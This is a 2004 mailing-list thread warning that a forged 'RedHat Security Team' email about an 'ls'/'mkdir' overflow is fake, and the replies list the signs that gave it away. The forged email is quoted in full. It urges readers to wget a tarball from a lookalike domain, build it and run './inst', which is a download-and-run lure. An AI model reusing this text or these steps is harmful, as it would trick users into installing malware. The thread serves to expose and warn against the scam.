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Re: FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"
From: Vincent Archer <var () deny-all com>
Date: Mon, 25 Oct 2004 11:01:53 +0200

On Sun, Oct 24, 2004 at 07:51:09PM -0400, Harry Hoffman wrote:
haha, that's pretty funny. If they were going to do something like that 
it should have at least been in a rpm format.

Considering you can put an executable script inside, if I remember right.

I'm hoping that this doesn't need to be said but if neither
"yum check-update || up2date -l" report anything then chances are there
are no "Official Fedora Updates"

--Harry



Hugo van der Kooij wrote:
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Be advised.

The message below is currently going around on internet. Being unsinged
was the fist obvious issue. Not pointing to RPM updates, being in a
different format and such were among the other reasong to suspect it.

Message was send from 'University of Texas at Arlington'.

I am sure none of you should be fooled by such a message but other might
be.

And while it lasts you may want to get the file for your own educational
purposes.

Hugo.
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Date: Sun, 24 Oct 2004 17:22:20 -0500
From: RedHat Security Team <security () redhat com>
To: *****************
Subject: RedHat: Buffer Overflow in "ls" and "mkdir"


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Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat

A complete revision history is at the end of this file.

Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could
allow a remote attacker to execute arbitrary code with root privileges.
Some of the affected linux distributions include RedHat 7.2, RedHat 7.3,
RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is
known that *BSD and Solaris platforms are NOT affected.

The RedHat Security Team strongly advises you to immediately apply the
fileutils-1.0.6 patch. This is a critical-critical update that you must
make by following these steps:

*  First download the patch from the Security RedHat mirror: wget
   www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
*  Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
*  cd fileutils-1.0.6.patch
*  make
*  ./inst

Again, please apply this patch as soon as possible or you risk your
system and others` to be compromised.

Thank you for your prompt attention to this serious matter,

RedHat Security Team.

Copyright (C) 2004 Red Hat, Inc. All rights reserved.


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